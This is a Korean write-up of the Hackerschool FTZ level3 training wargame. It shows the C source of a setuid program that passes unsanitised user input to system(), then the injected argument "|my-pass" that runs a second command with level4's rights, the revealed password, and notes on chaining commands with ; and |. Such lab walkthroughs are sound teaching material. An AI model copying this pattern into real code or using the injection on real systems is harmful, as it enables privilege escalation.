해커스쿨 FTZ level3

login as: level3
level3@192.168.244.128's password:
[level3@ftz level3]$ ls
hint  public_html  tmp
[level3@ftz level3]$ cat hint
 
 
다음 코드는 autodig의 소스이다.
 
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
int main(int argc, char **argv){
 
    char cmd[100];
 
    if( argc!=2 ){
        printf( "Auto Digger Version 0.9\n" );
        printf( "Usage : %s host\n", argv[0] );
        exit(0);
    }
 
    strcpy( cmd, "dig @" );
    strcat( cmd, argv[1] );
    strcat( cmd, " version.bind chaos txt");
 
    system( cmd );
 
}
 
이를 이용하여 level4의 권한을 얻어라.
 
more hints.
- 동시에 여러 명령어를 사용하려면?
- 문자열 형태로 명령어를 전달하려면?
 
[level3@ftz level3]$ find / -user level4 -perm -4000
find: /lost+found: Permission denied
find: /boot/lost+found: Permission denied
find: /proc/1/fd: Permission denied
find: /proc/2/fd: Permission denied
find: /proc/3/fd: Permission denied
find: /proc/4/fd: Permission denied
find: /proc/9/fd: Permission denied
find: /proc/5/fd: Permission denied
find: /proc/6/fd: Permission denied
find: /proc/7/fd: Permission denied
find: /proc/8/fd: Permission denied
find: /proc/10/fd: Permission denied
find: /proc/11/fd: Permission denied
find: /proc/19/fd: Permission denied
find: /proc/77/fd: Permission denied
find: /proc/1165/fd: Permission denied
find: /proc/1474/fd: Permission denied
find: /proc/1530/fd: Permission denied
find: /proc/1534/fd: Permission denied
find: /proc/1552/fd: Permission denied
find: /proc/1571/fd: Permission denied
find: /proc/1638/fd: Permission denied
find: /proc/1675/fd: Permission denied
find: /proc/1709/fd: Permission denied
find: /proc/1718/fd: Permission denied
find: /proc/1728/fd: Permission denied
find: /proc/1737/fd: Permission denied
find: /proc/1746/fd: Permission denied
find: /proc/1782/fd: Permission denied
find: /proc/1812/fd: Permission denied
find: /proc/1824/fd: Permission denied
find: /proc/.1825/fd: Permission denied
find: /proc/.1826/fd: Permission denied
find: /proc/.1827/fd: Permission denied
find: /proc/.1828/fd: Permission denied
find: /proc/.1829/fd: Permission denied
find: /proc/.1830/fd: Permission denied
find: /proc/.1831/fd: Permission denied
find: /proc/.1832/fd: Permission denied
find: /proc/1877/fd: Permission denied
find: /proc/1878/fd: Permission denied
find: /proc/1879/fd: Permission denied
find: /proc/1880/fd: Permission denied
find: /proc/1881/fd: Permission denied
find: /proc/1882/fd: Permission denied
find: /proc/1883/fd: Permission denied
find: /proc/1884/fd: Permission denied
find: /proc/2403/fd: Permission denied
find: /proc/2405/fd: Permission denied
find: /proc/2406/fd: Permission denied
find: /proc/2488/fd: Permission denied
find: /proc/2492/fd: Permission denied
find: /proc/2494/fd: Permission denied
find: /proc/2495/fd: Permission denied
find: /proc/2551/fd: Permission denied
find: /proc/2816/fd: Permission denied
find: /proc/8359/fd: Permission denied
find: /proc/8361/fd: Permission denied
find: /var/lib/slocate: Permission denied
find: /var/lib/nfs/statd: Permission denied
find: /var/lib/dav: Permission denied
find: /var/lib/mysql/mysql: Permission denied
find: /var/lib/mysql/test: Permission denied
find: /var/lib/pgsql: Permission denied
find: /var/log/httpd: Permission denied
find: /var/log/squid: Permission denied
find: /var/log/samba: Permission denied
find: /var/cache/mod_ssl: Permission denied
find: /var/cache/alchemist/printconf.rpm: Permission denied
find: /var/cache/alchemist/printconf.local: Permission denied
find: /var/run/sudo: Permission denied
find: /var/spool/at: Permission denied
find: /var/spool/clientmqueue: Permission denied
find: /var/spool/mqueue: Permission denied
find: /var/spool/cron: Permission denied
find: /var/spool/squid: Permission denied
find: /var/empty/sshd: Permission denied
find: /var/tux: Permission denied
find: /etc/sysconfig/pgsql: Permission denied
find: /etc/default: Permission denied
find: /etc/httpd/conf/ssl.crl: Permission denied
find: /etc/httpd/conf/ssl.crt: Permission denied
find: /etc/httpd/conf/ssl.csr: Permission denied
find: /etc/httpd/conf/ssl.key: Permission denied
find: /etc/httpd/conf/ssl.prm: Permission denied
find: /root: Permission denied
find: /usr/share/ssl/CA: Permission denied
/bin/autodig
find: /home/clear: Permission denied
find: /home/level10/program: Permission denied
find: /home/level5/tmp: Permission denied
find: /home/trainer1: Permission denied
find: /home/trainer10: Permission denied
find: /home/trainer2: Permission denied
find: /home/trainer3: Permission denied
find: /home/trainer4: Permission denied
find: /home/trainer5: Permission denied
find: /home/trainer6: Permission denied
find: /home/trainer7: Permission denied
find: /home/trainer8: Permission denied
find: /home/trainer9: Permission denied
[level3@ftz level3]$ cd /bin
[level3@ftz bin]$ file autodig
autodig: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.2.5, dynamically linked (uses shared libs), not stripped
[level3@ftz bin]$ ls -al | grep autodig
-rwsr-x---    1 level4   level3      12194 Sep 10  2011 autodig
[level3@ftz bin]$ autodig "|my-pass"
 
Level4 Password is "suck my brain".
 
dig: Couldn't find server '': Name or service not known

1) 동시에 여러 명령어를 사용하려면?    세미콜론(;)이나 파이프(|)를 사용하여 구분하여 사용한다.

2) 문자열 형태로 명령어를 전달하려면?    따옴표(")로 묶어서 전달한다.